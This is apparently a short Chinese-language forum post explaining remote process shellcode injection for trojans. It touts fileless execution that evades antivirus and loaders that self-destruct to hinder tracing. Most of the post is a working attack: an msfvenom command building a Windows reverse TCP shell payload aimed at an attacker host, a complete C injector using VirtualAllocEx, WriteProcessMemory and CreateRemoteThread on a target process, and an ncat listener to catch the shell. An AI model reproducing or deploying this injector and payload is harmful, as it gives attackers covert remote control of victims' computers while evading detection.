Shellcode是由汇编指令转换过来的二进制机器码,当利用shellcode进行恶意木马活动时,shellcode可以实现相较于传统木马文件落地的隐匿性。
恶意shellcode动态注入进程的优点
-
文件不落地,可以免杀
-
一般使用的Shellcode加载器体积小,并且有很强的可移植性,可以轻易的插入到未编译的源码中
-
Shellcode加载器能够在注入Shellcode后自我销毁清除痕迹,一定程度上可以防止溯源
缺点
-
加载在内存之中,主机重启或宿主进程关闭后Shellcode将无法继续执行,实际中需要考虑持久化处理
下面笔者利用msf做一个示例
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=11451 -f c -b \x00\x0a\x0d

注意:此处的-b指不允许出现的字符,x00空字符、x0a换行符、x0d终止符都会使shellcode出现问题
生成payload之后,可以用C语言来编写一个注入器
#include <stdio.h>
#include <windows.h>
//定义Shellcode变量
unsigned char buf[] = "";
int main(){
HANDLE Handle;//声明用于存放目标进程句柄的句柄变量
HANDLE remoteThread;//声明指向Shellcode内存的句柄变量
PVOID remoteBuffer;//声明在目标进程中指向分配给shellcode运行的内存指针
DWORD Pid=20452;//目标进程的PID
//获取目标进程的句柄
Handle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,Pid);
//要求目标进程为Shellcode分配内存,VirtualAllocEx()函数的参数详情可翻阅官方文档
remoteBuffer=VirtualAllocEx(Handle,NULL,sizeof(buf),(MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);
//将Shellcode写入目标进程的内存中
WriteProcessMemory(Handle,remoteBuffer,buf,sizeof(buf),NULL);
//在进程中创建一个线程用以运行shellcode
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
//关闭句柄,释放资源
CloseHandle(Handle);
CloseHandle(remoteThread);
return 0;
}
然后用ncat监听11451端口

最后运行注入器(运行以后目录下会出现一个xxx.exe),运行之后直接上线





没有回复内容